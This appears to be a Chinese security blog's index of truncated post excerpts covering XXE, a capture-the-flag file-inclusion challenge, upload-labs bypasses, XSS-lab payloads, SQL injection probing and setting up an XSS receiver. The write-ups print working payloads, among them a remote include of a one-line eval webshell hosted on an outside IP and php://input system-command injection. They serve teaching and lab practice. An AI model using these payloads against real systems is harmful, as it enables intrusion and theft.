XMLXML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。
XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最常用)、命令执行、内网扫描、攻击内网等危害。
php原生态代码只能造成文件读取,其他的例如命令执行那些都是跟一些第三方库导致的安全问题有关
XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。
Example:网站的xml文件解析
客户端:使用json发送数据,服务端:使用json接收数据
客户端:使用xml发送数据,服务端:使用xml接收数据
xml如果发送恶意数据,造成XXE注入
测试思路黑盒
获取得到Content-Type或数据类型为xm ...
OWASP
未读78-php&http协议
GET传参,参数为file,没有过滤,直接包含
解法一(filter)payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64,解码之后则为flag.php的内容
解法二(input)payload: ?file=php://input post:<?php system('ls');?>?file=php://input post:<?php system('tac flag.php');?>//tac和cat都可以
使用input,post里执行php代码,系统命令
解法三(远程文件包含 传shell)payload: ?file=http://47.99.124.145/1.txt 远程1.txt: <?php @eval($_POST['pass']);?>
在服务器上创建一个1.txt,内容为一句话木马,使用fil ...
原理为了使代码更灵活,开发人员将可重复使用的函数写入单个文件,使用这些函数时,直接调用该文件即可,这种调用过程被称为文件包含,通常被包含的文件被设置为变量,用来进行动态调用,因此可能导致客户端可以调用一个任意文件,造成文件包含漏洞,能够将包含的文件(不限格式后缀)以脚本方式运行。
<?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞<?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞
危害
文件读取
可以包含一个服务器配置文件或者网站配置文件从而读取到该文件的内容(文件内容不符合php语法,直接打印文件内容)
获取服务器权限
如果被包含的文件符合php语法,就会将该文件当成php文件解析执行,不管文件后缀是什么
分类
本地文件包含-Local File Include-LFI
包含存放在目标服务器本地的文件
远程文件包含-Remote File Include-RFI
包含存放在攻击者服务器的文件
文件包含函数PHP:include、require、in ...
前端检测(Pass-01)设置禁用Javascript即可绕过
后端检测MIME类型检测(Pass-02)修改上传文件的MIME类型为合法类型即可绕过
后缀名检测黑名单 (Pass-03~11)Pass-03
使用其他可解析的后缀名进行绕过PHP:php2、php3、php5、phtml、phtASP:asa、cer、cdxASPX:ascx、ashx、asacJSP:jspx、jspf
Pass-04
重写绕过
服务端将黑名单的后缀名替换为空,但是仅替换一次,所以可以上传.phphp p后缀,替换后就成了.php
中间的php被过滤
Pass-04还可以使用.htaccess绕过
Pass-11也使用了重写绕过
.htaccess绕过上传一个.htaccess文件
文件内容:
文件内容为调用php解释器去解释as.png文件(文件名可以修改)
<FilesMatch "as.png">setHandler application/x-httpd-php</FilesMatch>
上传相应的as.png文件,文件内 ...
简介客户端文件上传到服务器的过程
当上传文件的时候,如果服务器的后端代码没有对上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况,如果可以上传webshell,就形成了文件上传漏洞
危害攻击者通过上传恶意文件传递给解释器去执行,并在服务器上执行恶意代码。比如进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站,甚至是服务器
前提条件
成功上传文件到服务器
文件能够被访问到(知道路径)
文件被解释器解析执行
文件检测方式
判断文件检测方式
漏洞防御措施
上传的目录设置为不可执行
对文件后缀的判断中使用白名单的方式
文件服务器和web服务器分离
不需要返回文件路径的情况下,随即改写文件名
实际渗透
只要证明服务器可以解析我们所上传的文件内容即可
当我们实际渗透中,不能传危险文件,可以传phpinfo或者是加密字符串,从而看是否存在漏洞
phpinfo
文件上传传入phpinfo
<?phpphpinfo();?>
获取上传路径,访问该文件,发现有回显,存在文件上传
不是一句话木马,是一个函数,返回服务器信息
加密字符串
<?phpe ...
蓝莲花
BlueLotus_XSSReceiver清华大学蓝莲花战队做的一个平台,优点是足够小,不需要数据库,只要有个能运行php的环境就可以了,缺点是一般只适合一个人用。
配置蓝莲花
拉取docker
docker pull romeoz/docker-apache-php:5.6
上传文件
文件下载地址:https://github.com/trysec/BlueLotus_XSSReceiver
解压
unzip -d /opt/bluelotus bluelotus.zip
将文件放入容器中
docker run -d -p 9999:80 -v /opt/bluelotus:/var/www/app romeoz/docker-apache-php:5.6
返回结果为容器名
验证是否成功
可以看到内容,成功
修改配置
切换到bluelotus路径下,分别输入下面三行代码执行
mv config-sample.php config.phpchmod 777 myjschmod 777 data
物理机访问
http://192 ...
定义跨站脚本攻击(一种客户端代码注入攻击)
攻击者往web页面中插入恶意代码,当受害者的浏览器加载网站时代码会执行
成因服务器对输入和输出没有做严格限制,导致攻击者构造的字符输出到前端时被浏览器执行当作有效代码解析执行从而产生了危害
输入可控,尝试把控制数据改为js代码,让浏览器解析执行
危害JavaScript能做的事情就能通过XSS做
钓鱼欺骗
网站挂马
身份盗用
盗取网站用户信息
垃圾信息发送
劫持用户web行为
xss蠕虫
分类
反射性
非持久型,攻击相对于受害者来说是一次性的,具体表现在受害者点击了含有恶意JS脚本的url,恶意代码并没有保存在目标网站,而web应用程序只是不加处理的把恶意脚本反射给受害者浏览器,导致受害者浏览器执行了相应的脚本
存储型
应用程序通过web请求获取不可信赖的数据,在未检验数据是否符合xss代码的情况下,便将其存入数据库,下一次从数据库获取该数据时也未对其进行过滤,页面再次执行xss代码持续攻击用户。
存储型XSS漏洞大多出现在评论区、留言板,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会从服务 ...
OWASP
未读基于xss-lab的绕过闭合双引号分析:输入的内容被双引号带入
绕过:闭合
"><script>alert(1)</script><
实体化绕过(使用不被实体化的字符构造payload)使用了htmlspecialchars()函数,实体化一些字符,但默认配置不过滤单引号,构造单引号payload
分析:闭合单引号
闭合后发现 符号实体化
标签为input,使用input的触发事件绕过(闭合单引号之后再进行绕过)
'onmouseover='alert(1)
鼠标滑过输入框,触发事件
实体化绕过<>被过滤为空,双引号没有被过滤
使用双引号构造payload,用触发事件绕过
" onfocus="alert(1)
使用其他标签闭合分析:script被过滤为scr_ipt
"><a href="javascript:alert(1)">test</a>
点击test触发事件绕过
大小写绕过script被过滤,h ...
联合查询注入判断是否存在注入最为经典的单引号判断法
利用'或''来判断是否存在漏洞,在参数后面加上单引号,比如http://xxx/abc.php?id=1',如果页面返回错误,则存在SQL注入
原因是无论是字符型还是数字型都会因为单引号个数不匹配而报错
(如果未报错,不代表不存在SQL注入,因为有可能是页面对单引号进行了过滤,这时可以使用判断语句进行注入)
判断闭合方式:?id=1’
?id=1”
结果一:如果都报错
判断闭合符为:整形闭合。
结果二:如果单引号报错,双引号不报错。
继续尝试
?id=1’ –+
结果1:无报错
判断闭合符为:单引号闭合。
结果2:报错
判断闭合符可能为:单引号加括号。
结果三:如果单引号不报错,双引号报错。
继续尝试
?id=1” –+
结果1:结果无报错
判断闭合符为:双引号闭合。
结果2:报错
判断闭合符可能为:双引号加括号。
判断SQL注入的类型【干货】如何判断 Sql 注入点_判断是否存在sql注入-CSDN博客
通常SQL注入数据类型分为两种
字符型
数字型
...
vulfocus介绍vulfocus 本质上是一个漏洞集成平台,里面集成了大量的CVE漏洞环境,采用的是docker环境部署安装,使用起来方便,可作为一个优秀靶场环境,提升实战能力。可本地部署安装,也可以直接使用线上环境
这里使用kali来进行docker部署
关于docker换源:(2024最新源)
vim /etc/docker/daemon.json
替换内容为:
{ "registry-mirrors": ["https://docker.hpcloud.cloud","https://docker.m.daocloud.io", "https://docker.unsee.tech","https://docker.1panel.live","http://mirrors.ustc.edu.cn","https://docker.chenby.cn","http://mirror.azure.cn",&q ...